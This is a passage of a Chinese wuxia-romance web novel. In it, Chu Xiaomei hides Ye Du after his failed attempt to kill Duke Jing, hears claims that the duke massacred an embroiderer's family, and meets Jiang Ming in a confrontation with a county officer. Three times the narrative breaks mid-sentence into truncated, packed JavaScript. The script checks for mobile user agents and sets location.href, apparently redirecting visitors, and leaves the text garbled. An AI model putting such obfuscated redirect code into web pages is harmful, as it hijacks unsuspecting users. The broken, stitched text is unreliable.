糕点已切成了小块，一口就能吃下；盘中备着银叉，吃点心时不必沾手。褚笑眉留意到，矮几上的香炉换成了一个牡丹纹金琉璃的，博古架上也撤了两样东西下去，添了一个神霄绛阙象牙雕、一个影青釉里红瓷瓶。 她开口询问：“厅中的陈设似乎换了几样？” 白虹答道：“娘子离京这些天，国公府送了许多宝贝。奴婢揣摩着娘子的喜好，擅作主张稍微改换了布置。” 褚母望向自家女儿，柔声劝道：“国公爷向来看重你，最近总派人过来，一是为送些珍稀宝物，二是打探你何时归家。你既然回来了，也该尽快去府上拜谒。” 褚笑眉道：“阿娘说的是。我稍作收拾，晚些便去。” 褚笑眉踏入国公府时，天边晚霞欲燃，暮色将至。按理说这个时辰，未出嫁的娘子不该与外男相会，但对方是靖国公——放眼整个大雍，还没有人敢传他的闲言碎语。 她是女娘，不便入前院，靳愿总是在花厅见她。国公府尚无女主人，故而这个花厅仅为她一人所用，一应布置陈设也俱是按她的喜好而来。 炉中仍旧燃着她喜欢的香料，这一回，是靳愿在等她。 国公爷玄色锦袍上的金线在落日下光华耀眼、明亮生辉，他眉目冷厉，却在眸中倒映出她的身影时，化开一抹微不可察的柔软。而后他又蹙了眉：“看着清减了些。” 靳愿不喜她行礼，因而她只是理了理裙摆，径直在他身边落座，软语央道：“承望哥哥，你说了和我阿娘一模一样的话。不过我已在家中吃得很饱了，你别再给我上吃食了，真吃不下了……” 她话中隐有抱怨，却全然是一副小女儿的娇嗔之态。靳愿垂眸看着她，微微勾了唇角。 褚笑眉又道：“你送过来的宝贝我都看过了，都很喜欢。谢谢承望哥哥记挂我——” 靳愿道：“同我不必言谢。想要什么，只管开口。” 下人进来奉茶，微微躬着身子，恭敬得很。他已走近了二人座前，正将茶盘往前捧。褚笑眉以为他是要放到中间的方几上，不料他却蓦地抬手，把滚烫的茶水朝靳愿一掀；而后藏在茶盘下的匕首破空刺出，直直扎向靳愿咽喉。 靳愿一抬手，宽大的袖摆将热茶尽数拦下。他因此而视线受阻，却仍旧精准无误地扣住了对方的手腕。那人一击不中，当即抬腿向靳愿心窝处踹去；靳愿发力在他腕上一拧一推，震得他向后退开两三步。 “来人！有刺客！”管家连忙扬声喊道。 靳愿起身上前，一面与对方交手，一面吩咐：“保护好阿眉。” 白虹的功夫是极好的，在变故发生的瞬间，就已飞身护在了主子身前；青简虽不会武功，仍旧挡在了褚笑眉前面。国公府在场的仆从，也纷纷护到褚家娘子身边。 那名刺客相貌平平，但他的身法与武学，褚笑眉愈看愈觉得眼熟。他分明拿的是匕首，使的却全是剑招。 褚笑眉眯着眼思量半晌，骤然回想起来—— 是叶渡所用的沉水诀！ 11. 第 11 章 那刺客的出招极快，匕首上的寒芒迅疾如电光，招招直指靳愿要害。靳愿格挡住他的攻势，侧身向斜前方一进，龙爪手猛探抓向他咽喉。 那人极敏捷地俯身躲避，顺势以手撑地，一记扫堂腿扫向靳愿下盘。靳愿退开半步，抬脚向那人迎面踹去，逼得他向后翻滚避开。 那人出的俱是杀招，攻势十分迅猛；而靳愿始终应对得游刃有余。 外间传来橐橐的脚步声，是国公府的府兵赶过来了。 那刺客见势不好，不再恋战，欲抽身撤离。靳愿却一掌击向他后心，喝道：“哪里逃！” 那人只得回身，生生接下这一击。他内力逊色于靳愿，硬扛之下被震退好几步，呕出一大口鲜血来。 府兵已冲进了花厅，靳愿接过一把长刀。他本就是惯用刀的，方才一直赤手空拳，才容那刺客多活了许多时间。 靳愿执刀朝那刺客心口刺去——那人正踉跄着，勉强躲开了要害，仍旧被刺伤了肩头。 府兵从两边围上，此时那刺客已接近了窗边，当机立断破窗而逃。 “追。”靳愿一声令下，府兵当即蜂拥而上。他吩咐完这一句，将沾血的刀扔给了管家。“处理干净，别污了阿眉的眼。” 而后，他回到褚笑眉身边坐下，放柔了语调询问：“可有吓着？” “从小到大，妄图行刺的人就没断过，我早习惯了。”褚笑眉道，“更何况还有这么多人在我身边护着，哪能吓到我？” 靳愿道：“今日让你受惊了，我送你回府。” “多谢承望哥哥好意。”褚笑眉忙不迭地拒绝，“白虹功夫很好，有她保护我足够了，不必劳烦你跑一趟。” 靖国公凶名在外，若是让他一道去褚府，受惊的就得是她阿爷阿娘了。 靳愿眸光一黯，似想说些什么，犹豫片刻，最终只吐出一句：“好罢。我送你去马车上。” 褚笑眉躬身正往马车里钻，就被躲在车上的人吓了一跳。她刚想高声呼救，孰料那人竟迅速点住了她的哑穴，一把将她拖进车里——正是方才那名刺客！ 她竭力的挣扎在对方手底下不过是蚍蜉撼树，那人分明还带着伤，却仍旧轻而易举地制住了她，她连丝毫响动都未能发出。 “姑娘，你有一柄百蝶扑芳、鱼戏莲叶双面团扇。”清朗的嗓音压得极低，轻声响在她耳边。“靖国公为帮你夺得此扇，屠了刘三娘满门，我有人证。你救我离开，我带你去看。” 他所说的那柄团扇，正是武举当日，她用作和张菁的赌注的，乃苏绣大师刘三娘和韩大娘的最后一作。 他知道她有这把扇子，知道是靖国公所赠，还知道刘三娘……又如此笃定地说他有人证，看起来不似作假。 但承望哥哥怎会做这种事？她从小便与他相识，最是清楚他不过了。他虽然总冷着一张脸，摆出一副狠厉模样，可他其实是极温柔妥帖的。他难道竟会为了区区一把扇子，而杀人全家？ 褚笑眉瞪大了眼，一双杏眸中满是惊疑之色。 忽听得不远处，府兵向靳愿禀道：“公爷，血迹就是在此处消失的，没找到那刺客。附近全都搜过了，只剩下……褚娘子的马车。” “阿眉，你没事吧？”靳愿的语调略有些急促，脚步声迅速靠近了她。 那刺客解开了褚笑眉的穴道，她状若云淡风轻地答道：“我当然没事了，那刺客又不可能在我车上。承望哥哥，那我就先回府了，改日再来拜谒。” “等等。”靳愿道，“你挑起车帘，让我看你一眼。” 褚笑眉紧张地咽了口唾沫，用身子挡住那人，略把垂帘挑开一点点。车帘上坠着的水玉随之摇动，叮叮不绝，连带着她的心也跟着悸跳起来。她只露出自己半张脸来，扬起唇角，努力地扯出了一个笑：“都说了刺客不在我这里，承望哥哥难道不信我？” 靳愿微蹙着眉，眸色沉得让她看不透。她手心已沁出了冷汗，终于听见他低声答道：“阿眉的话，我自然都信。” 说话间，他始终定定地看着她，却又好像不是在看着她，反倒像是在透过她，望向她身后的什么人。 褚笑眉被他的目光盯得有点心虚，但她非常确定，她绝对把那人挡得够好。帘子只挑开了这么一点点，以靳愿的视角断然不可能看见。 她努力维持着语调的平稳：“承望哥哥若没有旁的什么事，我就先回家啦。” “阿眉，”靳愿低低地唤她，眼底有翻涌的暗潮。“你果真……没有见过那刺客？” 一柄匕首抵上了她腰间，褚笑眉暗骂此人不讲道义，却仍旧答道：“真的没有，我何时骗过承望哥哥？” 靳愿眸中似现出一抹痛色，却被他垂下眼睫，极快地遮掩了过去。他眉目低垂，冷厉的面容隐在阴影中。他喉结上下滚动了一下，深深地吸了一口气，又长长地吐了出来。褚笑眉坐在车上，看不清他眉眼间的神情，只能看到那与他的刀一般冷利的薄唇抿成一条线，随后无声地放松开。 再复抬眼望向她时，他已恢复了往日里平静如水的神情，嗓音却喑哑得厉害：“阿眉，记住我的话。无论你做了什么，我都不会怪你。若遇危险，定要及时来找我……你安好无虞是最紧要的。” 言罢，他转过身，厉声吩咐道：“白虹，保护好你家主子。若有差池，你知道后果。” “是，奴婢明白。”白虹垂首应诺。 褚笑眉放下垂帘，终于松了口气，抵在她后腰的那柄匕首也移开了。 她听见府兵又问道：“公爷，要不要叫人封锁城门，把京城挨家挨户搜一遍？” “区区一只蝼蚁，跑了就跑了。”靳愿道，一字一句皆清晰地落入褚笑眉耳中。“只要他别动不该动的人，今日之事，就此作罢；否则……掘地三尺，我也会找到他，以及他身边所有重要的人，让他付出代价。” 马车已驶离了国公府两条街，褚笑眉仍有些冒冷汗。 她蓦地开口：“停车。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234527|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青简连忙询问：“娘子，怎么了？” 褚笑眉道：“我找不到我的帕子，许是方才落在国公府了，你回去替我找找吧。” 青简是褚笑臣的人，但凡她有什么出格之举——不管是与哪家的外男过于亲近，抑或只是贪凉多食了一碗冰乳酪——青简都会禀与他知。就她今日所做的事，若是让小臣知晓，恐怕得念叨她一整晚。 故而褚笑眉编了个由头，有意支开她。 白虹自小随侍褚笑眉身侧，焉能不懂她的意图？待青简离开后，白虹取了一块碎银塞给马夫，道：“想必你也渴了，去寻个茶摊歇歇吧。一炷香后，你再回来。” 遣走了旁人，只余白虹守在车外。 褚笑眉终于放了心，向那刺客骂道：“我分明已经在救你了，你倒好，居然还拿匕首威胁我！恩将仇报的狗东西！” “在下若是想威胁姑娘，早在一开始就这么做了。”那人出言解释，“方才靖国公那些话，分明是已经发现了真相。我之所以拿出匕首，是想着万一事发，姑娘可说是被我挟持，以免遭此连累——倒是我多此一举了。” 褚笑眉闻言一怔：“他既然发现了，为何不揭穿我，反倒纵容我带你离开？” 那人被她问得笑出了声：“姑娘，你真不知晓？” “啊？我该知晓什么？” 那人叹口气：“没什么。” “问你你又不说，你这人真奇怪！”褚笑眉气得瞪了他一眼，又道，“我看你的武功……是沉水诀？你是无我门的人？” “姑娘认识沉水诀？” “我前些日子去逍遥宗看了论剑，有一位叶渡叶少侠使的正是沉水诀。” 那人听完她这话，蓦地低低地笑了起来。 褚笑眉困惑道：“你笑什么？” 只见那人抬手在自己脸部边缘摸索一番，竟扯下一张人皮面具来——面具之下，正是叶渡的脸！ 褚笑眉惊呼道：“是你！” 因为负伤，叶渡的脸色有些苍白，朗星般的眼眸中却仍噙满了笑意：“正是在下。” 褚笑眉问道：“你为何要行刺靖国公？” 叶渡道：“他穷兵黩武、横征暴敛，我杀他，是为民除害。” 褚笑眉：“你又打不过他。” 叶渡：“……” 他虚虚握拳抵在鼻尖，颇有些尴尬地移开了目光：“没打之前，不知道打不过。” 褚笑眉：“靖国公成名多年，想来你也有所耳闻。你为什么会觉得你有可能打得过？” 叶渡：“姑娘，好歹我也是武林中的同辈翘楚……” 褚笑眉：“今年论剑，你还输给了比你年纪小的逍遥宗那位云少侠。” 叶渡捂住了心口，满面痛楚：“姑娘莫要再说了。姑娘这攻击力，比靖国公还强。” 褚笑眉被逗得一乐，终于不再损他，言归正传：“叶少侠此前所说，刘三娘被靖国公灭门一事，人证是谁？现在何处？” 12. 第 12 章 叶渡答道：“人证正是绣出那幅扇面的另一名绣娘，韩大娘。我已将她安置在了听风客栈。” 褚笑眉又问：“此事与你毫无关联，你是如何知晓的？” 叶渡道：“论剑结束后，我就离开了逍遥宗……” 据叶渡的讲述，那时他刚从太一山下来，一名中年妇人突然冲了过来，挺身拦在他马前。他吓了一大跳，急忙紧勒缰绳，险之又险地停住了马。 他下马查看那妇人可有受伤，只听对方问道：“您可是叶渡叶大侠？” 他虽不明所以，仍旧如实回答：“在下确是叶渡。” 那妇人听完，竟直挺挺跪下，将头重重往地上磕去：“大侠，我友人满门被灭，我代她伸冤，四处求告无门！听闻您乃是当今一辈名列第一的大侠，求您行行好，为我们做主吧！” 叶渡忙不迭扶住她：“不必行此大礼！为侠者，本应扶危济困。您将事情的来龙去脉讲与我听，有什么能帮得上的忙，我一定帮。” 原来，刘三娘经年劳累、身体亏空，在绣制那一幅扇面时，已快要油尽灯枯了。她与韩大娘说好，将那柄团扇留作其女出嫁所用，并为它取名叫“念女扇”。 团扇完成后不到半年，刘三娘便去世了。念女扇也成为了两位苏绣大师的最后一作，一直被刘三娘的家人悉心保存着…… 听到这里，褚笑眉怔怔道：“我不知道那柄团扇对她们来说如此重要……只是因为那扇子风头太盛，所以我跟承望哥哥……提起过……” 她的脸颊失却了血色，惨白一片，衬得唇上口脂愈发嫣红。 叶渡叹息一声：“姑娘只是随口一提，可靖国公却派人强行索要念女扇。那是刘三娘最后的遗物，她的家人不愿献出，因此遭受了灭门之灾。” “怎么可能……只为着一把扇子，就杀了人全家？”褚笑眉的话音颤抖得厉害，“那位韩大娘所言……当真属实吗？她会不会是个骗子？” “她不像是在撒谎。”叶渡道，“我见到她时，她蓬头垢面、风尘仆仆，布鞋上沾满了泥土，还有缝补的痕迹与暗沉的血渍。看起来确实是常年不出家宅的妇人，一路长途跋涉而来，鞋走破了，脚也磨烂了。” 褚笑眉又问：“那她可有能证明身份的凭证？” 叶渡道：“她给我看了她带来的一些绣品，即便是我这种不懂行的人，都能看得出绣工非同一般；另外还有一份……是她丈夫写给她的休书。” “她带绣品来作甚？休书又是怎么一回事？” 叶渡解释道：“因她执意要为挚友伸冤，对方又是靖国公这位杀神，她夫君怕惹祸上身，故而将她休弃。她出门在外，没有银钱傍身，只好变卖绣品换做路费。” “可是……”褚笑眉提出了疑虑，“若她果真是韩大娘，经年待在家中，顶多能因为做绣活儿结识一些贵妇女眷。你是江湖人，她如何会认得你？” 叶渡道：“这个问题，我也问过她。她给我看了一封信……” “一封信？” “对，”叶渡点了点头，“一封信。” 苏州官府不肯为刘三娘一家做主，韩大娘离家来京，想挝登闻鼓鸣冤。至京郊时，夜宿于破庙，醒来便发现身边多了一封信。 信上写着： 今上尚少，未亲大政，朝柄分操于丞相、国公之手。叩阍鼓而冤不达，若欲雪愤，何如诣太一山下恭俟叶渡侠士，乞其仗剑裁断？ 信末的署名为“朔风”。 “朔风？”褚笑眉重复了一遍这个名字，“是江湖上的某位大侠吗？” 叶渡道：“我从未听过此人的名号，不过……” “娘子，青简就要回来了。”马车外传来白虹的提醒，“奴婢在街角望风，已远远地瞥见她了。” 褚笑眉向叶渡道：“你快走。明日巳时，我去听风客栈寻你。” 叶渡应下，飞身纵跃而出。 少年侠客的身形轻得像是一阵风，方才还在她旁侧，转瞬间便已没了影踪。只余被卷起的车帘垂落晃动，其上坠着的水玉摇曳不止，叮叮碎响。 水玉声渐歇，青简的脚步顿在车外，向她禀道：“娘子，奴婢去国公府找过了，没寻着您的帕子。” 褚笑眉道：“我正想告诉你呢，那帕子原是落进我袖中了，白白辛苦你跑这一趟。回府罢。” 国公爷亲自将遇刺之事压了下去，没走漏半点风声。但奈何身边有青简这个小妮子告状，还是让褚笑臣知晓了。 于是她耳边又响起了他细细碎碎的叮嘱：“靖国公树敌太多，阿姊少往他那儿去。今日没受伤已是大幸，往后若再有人行刺，难保他能不能护得阿姊周全。” “好啦好啦，莫要为我担心了。”褚笑眉哄劝道，“承望哥哥的武功是数一数二的好，遑论还有诸多府兵守卫。若在国公府都不安全，那天底下就没有安全的地方了。” 她这话分明有理有据，可等她说完，褚笑臣的脸色反而愈发地沉了下去。 她暗自在心里叹气，阿弟长大后，比小时候难哄多了。 翌日。 褚笑眉只带了白虹随侍，在客栈中与叶渡碰面。二人一同上楼，去往韩大娘的房间。 韩大娘已换上了一身干净衣裳，头发梳得齐齐整整。她双目有些红肿，起身相迎时，步子也不大稳当。她恭恭敬敬，福身行礼：“娘子金安。” 褚笑眉略略一惊：“你识得我？” 韩大娘摇头道：“民妇低贱，如何能识得娘子？只是从前做绣娘时，曾有幸见过些贵女。娘子衣饰华美，世所罕有，一看便知门楣极高。” 褚笑眉道：“我听叶少侠提起，说你从苏州入京，是为替友伸冤？” 韩大娘垂下眼眸，徐徐答道：“此事是我诓骗了叶大侠，我并无冤屈可诉。” “什么？！”这下换叶渡惊讶了，“你昨日还不是这么说的……” 韩大娘道：“我只是因为被夫君休弃，想凭着一手绣工，到京城来谋个出路。孰料绣品不好卖，身上的盘缠也用光了。叶大侠为人仗义，我编个悲惨的故事，才好博取同情。” “我不相信会是这样。”叶渡皱眉道，“是不是昨夜有人威胁了你？是靖国公的人？” 韩大娘道：“叶大侠，这话可不敢乱说。没有人威胁我，我只是在向你阐述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234528|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实。” 褚笑眉问道：“那刘三娘全家是怎么死的？” 韩大娘道：“官府已经结案，是强盗流匪杀人劫财。” 褚笑眉道：“所以……人不是靖国公杀的？” 韩大娘抿了抿干裂的嘴唇，嗓音发哑：“不是。” 褚笑眉终于吐出了紧绷在胸中的一口气，而后怒瞪了叶渡一眼：“你！跟我出来！” 待叶渡阖上门扉后，褚笑眉再也忍不住，出言斥责：“闹了半天是你被人骗了？你也太识人不清了吧？” “姑娘，韩大娘今日之言疑点重重，定是受了靖国公胁迫才会改口……” “闭嘴！”褚笑眉厉声打断了他，“莫要再挑拨我与承望哥哥之间的关系。我和他从小一起长大，他是什么样的人，我再清楚不过。” 她提裙向楼下走去，头也不回地道：“昨日我真是鬼迷心窍了，居然会相信你的一面之词！” 叶渡紧紧追在她身后：“姑娘且听我说，此事定有蹊跷……” “你说什么也没用，我不会再信你了！”褚笑眉凶巴巴地撂狠话，“你若再纠缠不休，我就告诉承望哥哥，行刺他的那人是你！” 铜炉里燃着的玉楼云蜃香袅袅升起，氤氲模糊了褚笑眉的脸。距叶渡行刺一事已过去三日了，那些关于靖国公的流言就像是投入湖水的小石子，在她心中激起些微的涟漪后，又重新恢复了往常的平静。 正是秋乏的时候，她倚在窗边软榻上打盹，忽听得耳边有人唤她：“姑娘，姑娘……” 她被那声音搅得不能安眠，烦躁地睁开眼，不期然在窗外看见了叶渡的脸。她一怔，环顾四周，确认自己身在家中。而后她蹙了眉，压低声音斥道：“你怎么在这儿？要是被人看见，我名声可就毁了！” “我用轻功走屋顶过来的，不会有人看见。”叶渡道，“我今日冒昧前来，是受韩大娘之托，将这方绣帕交与姑娘。” 褚笑眉接过来一看，只见帕上满绣着牡丹群芳图，她不由自主地“咦”了一声。 叶渡道：“有什么不妥吗？” “绣线精细、设色合宜，绣工倒是挑不出错来的，只是……”褚笑眉顿了顿，“无论绣花如何精美，绣帕本身的功用是帕子，绣一两枝梅花、一两株兰草稍作点缀即可。这绣帕上竟是满绣，根本就没法再当帕子使，着实奇怪。” 褚笑眉问道：“韩大娘将帕子交给你时，可说了什么？” 叶渡道：“只说她已寻到了她的去处，就要离开了，这绣帕是留给姑娘的离别赠礼。” “原是如此。”褚笑眉将绣帕搁到矮几上，抬眸望向对方。“叶少侠，奉劝你一句，往后还是少管闲事，省得又被有心之人当刀使。这回若不是运气好碰上我，你的小命可就丢在国公府了。” 叶渡低笑一声：“有劳姑娘关心。不过……我遇见姑娘，并非是因为运气。” “什么意思？” “姑娘可还记得，我此前同你说过，韩大娘收到过一封信，署名是‘朔风’的？” “自然记得。” 叶渡道：“我勉强可以算是……见过这位‘朔风’。” 13. 第 13 章 “你见过朔风？”褚笑眉惊讶地抬了抬眉，“他是谁？” 叶渡道：“我不知道她是谁……” “什么叫你不知道？你不是见过他吗？” “姑娘别急，且先听我说完。”叶渡道，“我将韩大娘安顿在听风客栈后，入住了她隔壁的房间……” 彼时叶渡正在整理行囊，忽有一枚飞镖从窗外射入，直直钉进了木柱中。他急忙追了出去，只遥遥看见一个在屋顶上纵跃的背影。 那人穿着男装，看身形却明显是个女子。她似乎察觉了在被追踪，转头就钻进了热闹街市中，隐没在济济人潮里，再找不到了。 叶渡遍寻不得，只得又返回屋内。这才发觉镖身插着一张纸笺，末尾的落款也是“朔风”。 褚笑眉道：“所以……是那位朔风女侠给你留了信，让你躲进我的马车里求助？” “正是如此。她指引韩大娘前来找我，又为我设计了脱身之法。”叶渡道，“姑娘，刘三娘之事确有冤屈，为之奔波的侠士不止我一人……” 褚笑眉打断道：“叶少侠！韩大娘能骗你，自然也能骗其他人，这并不能说明什么。” 叶渡道：“我还查到了靖国公作恶的其他罪证……” “承望哥哥不会做这种事的！”褚笑眉道，“他为国南征北战，立下赫赫战功，你怎么就非得揪着他不放？” “姑娘，”叶渡定定地望着她，“你是真的相信靖国公，还是不愿意接受这样残酷的真相？” 他一字一句，铮铮叩问：“若靖国公当真清清白白，又何惧旁人去查？若他果真作恶多端，姑娘难道想一辈子被人蒙在鼓里，不清不楚地害死许多人命？” “够了……”褚笑眉的红唇有些发颤，她深吸了几口气，努力平复惶乱的吐息。“我再信你最后一次。告诉我，你查到了什么。” 长安城的西南角，是褚笑眉从来不会涉足的区域。 低矮破败的老房排布得密密麻麻，在其中穿行时，像是被困在窄小的樊笼里。地面铺的青石砖早已碎裂开了，踩上去左摇右晃的，不大稳当。白虹怕她崴了脚，一直紧紧扶着她手臂。 一块灰瓦骤然从檐上脱落，直直朝褚笑眉头上砸去。白虹眼疾手快，连忙将她拽开，那瓦片跌落在地，摔得四分五裂。 褚笑眉惊呼出声，朝白虹身侧躲了躲，蹙眉问道：“到底还有多远？” 叶渡：“就快到了。” 褚笑眉：“这话我听了不下十遍了！” 叶渡：“那是因为姑娘每走四五十步就要问一回。” 褚笑眉：“……” 街巷中隐约传来了争执声，褚笑眉与叶渡对视一眼，循声而去。 其中一方的声音十分耳熟，竟是江铭：“刘县尉称此人偷盗行窃，赃物何在？拿不出罪证便要抓捕，目中可还有朝廷法度？” 只听那刘县尉道：“这是京兆府的公事，与礼部无关，还请侍郎大人莫要为难。” “既是公事，当有官府公文。”江铭冷哼一声，“刘县尉什么都拿不出来，就想强行将人带走，莫不是想被本官参一本徇私枉法？” “江侍郎要写折子也好，要面禀圣上也罢，悉听尊便。”刘县尉道，“您若再阻拦京兆府公务，下官就只能得罪了。” 他一声令下，十几名捕快纷纷拔出腰刀，向江铭围攻而去。 却见江铭仰身躲过一击，趁对方逼近时，顺势抓住人手腕一拧，夺过一把刀来。 他虽夺了刀，下手仍极有分寸，并不伤人性命。一人迎面砍来，他横刀架住，抬脚将那人踹出去；另一人提刀斜刺，他侧身避开，以刀把撞在对方胸口，仅仅把人击退。 眼见那些捕快奈何不了江铭，刘县尉拊掌道：“想不到状元郎不仅做得锦绣文章，竟然还懂些拳脚功夫，实在是令下官钦佩。” 言罢，他握住了腰间佩刀，一片寒光从鞘中抽出，直直朝江铭袭去。 刘县尉是武举出身，功夫练得相当扎实。几个回合后，江铭已渐渐落了下风。 叶渡飞身上前助战，他以下坠之势，一脚踏向刘县尉胸口。刘县尉抬臂格挡，仍被他震退好几步。 只听一声嗡鸣，他剑已出鞘，寒芒迅如电光，一剑挑飞了刘县尉手中的腰刀。那刀重重甩出去，将本就破旧的青石砖砸得四分五裂。 刘县尉捂住淌血的手掌，喝道：“哪里来的毛头小子？竟敢伤朝廷命官！难道想与官府为敌不成？” 褚笑眉闻言，鼻间嗤出一声轻笑：“区区一个正九品下的县尉，芝麻大点的小官，倒还学会拿朝廷官府来压人了。” 一个十四五岁的小女娘，竟也奚落起他来了。 刘县尉愈发恼怒，叱骂的话已到了嘴边，在看清对方的衣着打扮时，又硬生生将这话咽了回去。 那小娘子衣饰之华美，哪怕在富贵如云的长安城中，也是极其罕见的。就连她身边随侍的婢女，身上穿的也是金陵云锦，头上戴的也是珠玉金钗。 刘县尉正犹疑间，却见江铭拱手朝她一揖，问道：“褚娘子怎会在此？” 褚娘子…… 京城第一贵女，恰恰正是姓褚。 她父亲乃是吏部尚书，她胞弟又是天子伴读。单说褚家的家世，虽算是第一流的豪门，倒还论不上是京中第一。 但这位褚娘子的地位，不仅来源于父母亲族。 朝中有两员大将，一为靖国公，二为平远侯。靖国公手中掌有大雍四分兵权，且武功深不可测，南征北战从无败绩，圣上都得敬他三分。这位国公爷暴戾嗜杀，却对褚家娘子温柔妥帖至极。 而平远侯府素来与褚家交好，平远侯之女张娘子更是从小与褚娘子一同长大，二人感情甚笃。若是有谁敢得罪褚娘子，张家娘子是决计不肯轻易罢休的。 刘县尉心念电转，忙不迭地跟着行礼，深深地躬下腰去：“褚娘子教训得是。早听闻娘子风华绝代、仪态万方，今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240873|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见，果真如同神女下凡；仙姿月貌，令人恨不能顶礼膜拜。” 他溜须拍马，天花乱坠地说了一长串，褚笑眉却连一个眼神也欠奉，直直向江铭步去：“这个问题，我也想问问江侍郎。你为什么在这儿？怎么还和人动起手来了？” 江铭道：“我路过此处，见刘县尉带人抓捕一名乞儿，称其偷盗行窃。那乞儿高声喊冤，我就多问了几句，却发现刘县尉话中漏洞百出，不仅拿不出罪证，连官府公文也没有。故而我才出手阻拦。” “那乞儿在哪儿？”褚笑眉的目光扫视一周，果真看见了蜷缩在墙边的乞丐。那人顶着一头脏乱的头发，遮住了脸。她还欲细看，江铭却拦在她身前，挡住她的视线。 “娘子莫看。”清越的嗓音低低响在她耳边，“那人……被剜了眼，恐怕会吓到娘子。” 褚笑眉骤然红了脸。 她自然知晓对方这一担忧是缘自何处，上回在护国寺外，一名被采生折割的乞儿将她吓得不轻。 “我哪有那么胆小！”褚笑眉为自己辩驳道，“我上次是……没做好准备……” 他垂眸看她说完，眼底随之漾开极浅淡的笑意，轻声解释：“我不是在笑话娘子的胆量。娘子心性纯良，从未见过残忍血腥之事，一时惶乱是再正常不过了。我只是担心娘子受惊。” 叶渡却已然行至那乞儿身侧，扬声道：“姑娘，我要带你来见的，正是此人。” 褚笑眉正欲上前，却听刘县尉在旁劝阻：“褚娘子，那人是京兆府要缉拿的窃贼……” “我们娘子要做什么，还轮不到你来置喙！”白虹呵斥道。 刘县尉只得噤了声，躬着腰跟在褚笑眉身后。 褚笑眉走近了，果真看见那乞儿面目可怖，连眼眶都被人剜去了，眉骨下方凹陷着一块发黑的烂肉。她忍不住倒抽一口凉气，问叶渡道：“此人和你要告诉我的事有什么关联？” 叶渡道：“据我查到的线索，他是从靖国公府中被扔出来的……” “不！不！不！”这句话仿佛刺激到了那名乞丐，他将头摇得好似拨浪鼓，疾声否认，“小人不知道什么靖国公！” “别怕，”江铭在他身边蹲下，放柔了语调安抚，“我是新上任的礼部侍郎。你有何冤屈，皆可告与我知，我会保护你的。” “这……”那乞儿语气犹疑，“小人……” “褚娘子可在这里。”刘县尉冷不丁地道，“偷窃是小罪，关押几日也就放了；但若是惊扰了贵人嘛……” “刘县尉，”江铭冷冷睨向他，“你是在威胁证人吗？” 刘县尉俯首道：“下官不敢。不过讯问嫌犯乃是京兆府的事，侍郎大人越俎代庖，不大好吧？” 他转而面向那乞儿，继续道：“如今褚娘子和江侍郎都在，你若有冤屈，即可当场说出来，让二位贵人替你做主。 “本官再问你最后一次，你是否行了偷窃之事？本官可冤枉了你？” 14. 第 14 章 “没有！小人没有被冤枉！”那乞儿声音颤抖，满是惊惶。 “侍郎大人，您都听见了。”刘县尉道，“嫌犯已经认罪，如今可以算是证据确凿了吧？” 江铭神色愈冷，向那乞儿劝道：“莫要认下不属于你的罪行。盗窃确实不算重罪，可一旦你被押入牢中，多的是法子让你悄无声息地丧命。” “江侍郎这般恶意揣测，下官才该喊冤呢。”刘县尉挥了挥手，吩咐道，“来人，将犯人拿下！” 捕快们纷纷围上，叶渡手中长剑一横，护在那乞儿身前。双方刀剑相向，气氛骤然了冷凝下来，战斗一触即发。 “都给我住手！”褚笑眉喝道，“京城之中，天子脚下，岂容你们这般放肆？” 刘县尉一抬手，示意捕快们停下，回答道：“褚娘子见谅，下官只是在秉公执法。” “你与江侍郎各执一词，我难以辨别真伪。”褚笑眉道，“这人留下，我自己问。” 刘县尉面露难色：“褚娘子，这不合规矩……” 褚笑眉斜斜睨他一眼，问道：“你叫什么名字？” 刘县尉连忙拱手道：“鄙姓刘，贱名德升。” “刘德升，是吧？”褚笑眉重复了一遍他的姓名，轻嗤出声，“你既然知晓我的身份，难道竟不知在这长安城中，我的话就是规矩？你若有不满，大可告诉你的顶头上司，让京兆府尹自己来找我。” 刘德升垂首思量片刻，终是轻叹一声：“褚娘子说笑了。娘子的话，下官自当遵从。此番原是下官办事不力，即便受些惩处，也不可能状告娘子啊。” “你倒还算懂事。”褚笑眉道，“放心吧，京兆府那边，我会派人递个信过去，不会牵累到你。” “多谢娘子。”刘德升再行一礼。在他的示意下，捕快们纷纷归刀入鞘，随他离去了。 官吏们的背影消失在街角，江铭收回目光，低笑感叹：“娘子说话，倒比我好使许多。” 